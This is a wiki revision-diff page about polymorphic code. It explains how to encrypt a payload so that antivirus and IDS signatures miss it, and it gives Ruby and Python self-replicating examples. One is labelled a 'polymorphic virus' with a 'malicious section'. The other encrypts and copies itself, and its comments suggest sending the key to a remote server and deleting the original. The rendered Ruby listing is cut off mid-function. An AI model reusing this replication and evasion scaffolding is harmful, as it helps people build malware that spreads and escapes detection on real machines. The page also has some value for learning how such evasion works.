Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "Polymorphic"

From NetSec
Jump to: navigation, search
 
(38 intermediate revisions by 6 users not shown)
Line 1: Line 1:
{{expand}}
+
'''Adj. referring to self-modifying code.'''  ''Did you mean: [[Shellcode/Self-modifying|polymorphic shellcode]]?''
Adj. referring to self-modifying code.
+
== Reasons to write polymorphic code ==
  
 +
The main reason to write polymorphic code is to avoid being [[Cryptography#Hashes|hashwise identified]], or to have [[programming|code]] [[cryptography|signature]] detected, i.e. [[IDS]] or anti-virus [[countermeasures]] may not identify the payload, as it is nicely wrapped-up in its own [[cryptography|encrypted form]]. Another reason is to propagate it to multiple copies without having the same signature.  Many legitimate software vendors also produce polymorphic [[binary|binaries]] to protect their [[application]]s from software cracking and reverse engineering.  When writing [[shellcode]], polymorphism is utilized to create [[ascii shellcode]] and [[alphanumeric shellcode]] due to the restrictive instruction set.  To get started with writing '''polymorphic shellcode''', see the [[introduction to printable 32-bit x86 polymorphic shellcode]].
  
= Reasons to write polymorphic code =
+
== Techniques of polymorphic code writing ==
  
The main reason to write polymorphic code is to avoid being hashwise identified, or to have code signature detected, i.e. an IDS or anti-virus software will not identify the payload as it is nicely wrapped-up in an encrypted form. Another reason is to propagate it to multiple copies without having the same signature.
+
* Define a stackable set of encrypting/decrypting functions, preferrably working with an encryption key. Let's call these sets d and e (decryption / encryption), and let there be two integers n, m, n > m so that d[n](d[n-1](...(d[m](e[n](e[n-1](...e[m](code))...) == code
  
  
= Techniques of polymorphic code writing =
+
{{quote|You can write a single function or pair of functions and have them vary with a series of keys (outputted by a deterministic key generator ideally), as long as your encryption remains revertable.|Savitri}}
  
* Define a stackable set of encrypting/decrypting functions, preferrably working with an encryption key. Let's call these sets d and e (decryption / encryption), and let there be two integers n, m, n > m so that d[n](d[n-1](...(d[m](e[n](e[n-1](...e[m](code))...) == code
 
Note: you can write a single function or pair of functions and have them vary with a series of keys (outputted by a deterministic key generator ideally), as long as your encryption remains revertable.
 
* Write your payload code (that you want dissimulated). At the end of this code put some bootstrap that will decrypt and run the code (in PHP/ruby/perl/whatnot, eval it, in C, smash the stack with it, in C#, use reflection). At the beginning of your payload code, call for your encryption/duplication code.
 
  
= Example in Ruby =
+
* Write the payload code to be dissimulated. At the end of this code put a bootstrap that will decrypt and run the code (in [[PHP]]/[[ruby]]/[[perl]]/whatnot, eval() it, in [[C]], [[Buffer Overflows|smash the stack]] with it, in C#, use reflection). At the beginning of the payload code, call for the encryption/duplication code.
 +
 
 +
== Example in [[ruby]] ==
  
== pv.rb (polymorphic virus) ==
+
=== pv.rb (polymorphic virus) ===
<pre>
+
{{code | text=<syntaxhighlight lang="ruby">
 
#!/usr/bin/env ruby1.9.1
 
#!/usr/bin/env ruby1.9.1
 
if (!defined?(FILE))
 
if (!defined?(FILE))
Line 51: Line 51:
 
puts "Hello, it's savitri"
 
puts "Hello, it's savitri"
  
</pre>
+
</syntaxhighlight>}}
  
== md.rb (utility functions) ==
+
=== md.rb (utility functions) ===
<pre>
+
 
#!/usr/bin/env ruby1.9.1
+
{{code | text=<syntaxhighlight lang="ruby">
if (!defined?(FILE))
+
require 'base64';
FILE=File.basename(__FILE__)
+
if (!defined?(MD_LOADED))
 +
def deterministicKeygen(theKey)
 +
        r = Random.new(theKey.to_i);
 +
        return r.rand(3)+3;
 
end
 
end
load "md.rb";
+
def mencrypt(str, theKey)
#require "FileUtils"
+
        k = deterministicKeygen(theKey)
def selfCopy(key)
+
        k.times do
code = ""
+
                str = Base64.encode64(str)
newkey = deterministicKeygen(key);
+
        end
File.open(FILE, "r").each_line do |l|
+
        return str
code += l
+
end
+
code = mencrypt(code, key)
+
# define new file name
+
fn = rand(128).to_s + 'copy.rb';
+
File.open(fn, 'w+') do |f|
+
f.write('load "md.rb";'+"\n");
+
# this is needed because __FILE__ isn't to be found in eval
+
f.write("if (!defined?(FILE))\n\tFILE=__FILE__;\nend;\n");
+
f.write('code="'+code+'";'+"\n")
+
f.write('eval(mdecrypt(code, ' + key.to_s+'))');
+
end
+
return newkey
+
 
end
 
end
 +
def mdecrypt(str, theKey)
 +
        k = deterministicKeygen(theKey)
 +
        k.times do
 +
                str = Base64.decode64(str)
 +
        end
 +
        return str
 +
end
 +
 +
MD_LOADED=true
 +
end
 +
 +
</syntaxhighlight>}}
  
# initial key is 42, D.A. told me
+
== Example in [[python]] ==
key = 42
+
 
# malicious section
+
{{info| The following example requires pyDes, which can be found [http://pydes.sourceforge.net/ Here] }}
# first, replicate
+
=== poly.py ===
key = selfCopy(key)
+
 
# then do evil!
+
 
puts "Hello, it's savitri"
+
{{code|text=<source lang="python">
 +
#a simple example of a program that replicates and encrypts itself, thus adding a layer of obfuscation / evasion from string matched detectors
 +
#When executed, it executes some code then it generates a new encryption key, encrypts itself and writes it to a new file
 +
#with a randomly generated name [then sends the filename and encryption key to a remote server]
 +
 
 +
import random
 +
import string
 +
import pyDes
 +
import time
 +
import binascii
 +
 
 +
#code to execute before self propagation goes here
 +
 
 +
N = 8 #8 digit key
 +
key = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #keygen random
 +
obj = pyDes.des(key, pad=b'\0') #generate an object encrypted with key
 +
fd = open('poly.py', 'r') #open this file for reading
 +
payload = fd.read() #load the entire contents into a variable
 +
encrypted = obj.encrypt(payload, pad=b'\0') #encrypt the  payload file
 +
N = 10 # 10 digit file name
 +
filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #filename random
 +
new_fd = open(filename, 'w') #create a new file with the filename we just generated. edit this to change directory
 +
encrypted = binascii.b2a_hex(encrypted)
 +
new_fd.write(str(encrypted)) #write the encrypted program to our new file
 +
 
 +
#put code to securely transmit your filename + key here! you can also put here code to delete the original
 +
</source>}}
 +
{{Warning| This snippet of code implements the pyDes module, which is a third-party module that implements the DES encryption standard. For more information on third-party modules, see [[Python#Third-Party_and_Custom_Modules|the Python article]].}}
  
</pre>
+
{{programming}}{{countermeasures}}{{social}}

Latest revision as of 04:29, 13 May 2013

Adj. referring to self-modifying code. Did you mean: polymorphic shellcode?

Reasons to write polymorphic code

The main reason to write polymorphic code is to avoid being hashwise identified, or to have code signature detected, i.e. IDS or anti-virus countermeasures may not identify the payload, as it is nicely wrapped-up in its own encrypted form. Another reason is to propagate it to multiple copies without having the same signature. Many legitimate software vendors also produce polymorphic binaries to protect their applications from software cracking and reverse engineering. When writing shellcode, polymorphism is utilized to create ascii shellcode and alphanumeric shellcode due to the restrictive instruction set. To get started with writing polymorphic shellcode, see the introduction to printable 32-bit x86 polymorphic shellcode.

Techniques of polymorphic code writing

  • Define a stackable set of encrypting/decrypting functions, preferrably working with an encryption key. Let's call these sets d and e (decryption / encryption), and let there be two integers n, m, n > m so that d[n](d[n-1](...(d[m](e[n](e[n-1](...e[m](code))...) == code


Savitri says
You can write a single function or pair of functions and have them vary with a series of keys (outputted by a deterministic key generator ideally), as long as your encryption remains revertable.


  • Write the payload code to be dissimulated. At the end of this code put a bootstrap that will decrypt and run the code (in PHP/ruby/perl/whatnot, eval() it, in C, smash the stack with it, in C#, use reflection). At the beginning of the payload code, call for the encryption/duplication code.

Example in ruby

pv.rb (polymorphic virus)

<syntaxhighlight lang="ruby">

  1. !/usr/bin/env ruby1.9.1

if (!defined?(FILE)) FILE=File.basename(__FILE__) end load "md.rb";

  1. require "FileUtils"

def selfCopy(key) code = "" newkey = deterministicKeygen(key); File.open(FILE, "r").each_line do

md.rb (utility functions)

<syntaxhighlight lang="ruby"> require 'base64'; if (!defined?(MD_LOADED)) def deterministicKeygen(theKey)

       r = Random.new(theKey.to_i);
       return r.rand(3)+3;

end def mencrypt(str, theKey)

       k = deterministicKeygen(theKey)
       k.times do
               str = Base64.encode64(str)
       end
       return str

end def mdecrypt(str, theKey)

       k = deterministicKeygen(theKey)
       k.times do
               str = Base64.decode64(str)
       end
       return str

end

MD_LOADED=true end

</syntaxhighlight>

Example in python

c3el4.png The following example requires pyDes, which can be found Here

poly.py

 
#a simple example of a program that replicates and encrypts itself, thus adding a layer of obfuscation / evasion from string matched detectors
#When executed, it executes some code then it generates a new encryption key, encrypts itself and writes it to a new file
#with a randomly generated name [then sends the filename and encryption key to a remote server]
 
import random
import string
import pyDes
import time
import binascii
 
#code to execute before self propagation goes here
 
N = 8 #8 digit key
key = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #keygen random
obj = pyDes.des(key, pad=b'\0') #generate an object encrypted with key
fd = open('poly.py', 'r') #open this file for reading
payload = fd.read() #load the entire contents into a variable
encrypted = obj.encrypt(payload, pad=b'\0') #encrypt the  payload file
N = 10 # 10 digit file name
filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #filename random
new_fd = open(filename, 'w') #create a new file with the filename we just generated. edit this to change directory
encrypted = binascii.b2a_hex(encrypted)
new_fd.write(str(encrypted)) #write the encrypted program to our new file
 
#put code to securely transmit your filename + key here! you can also put here code to delete the original
 
RPU0j.png This snippet of code implements the pyDes module, which is a third-party module that implements the DES encryption standard. For more information on third-party modules, see the Python article.
Polymorphic is part of a series on programming.
<center>
Polymorphic is part of a series on countermeasures.
<center>
</center>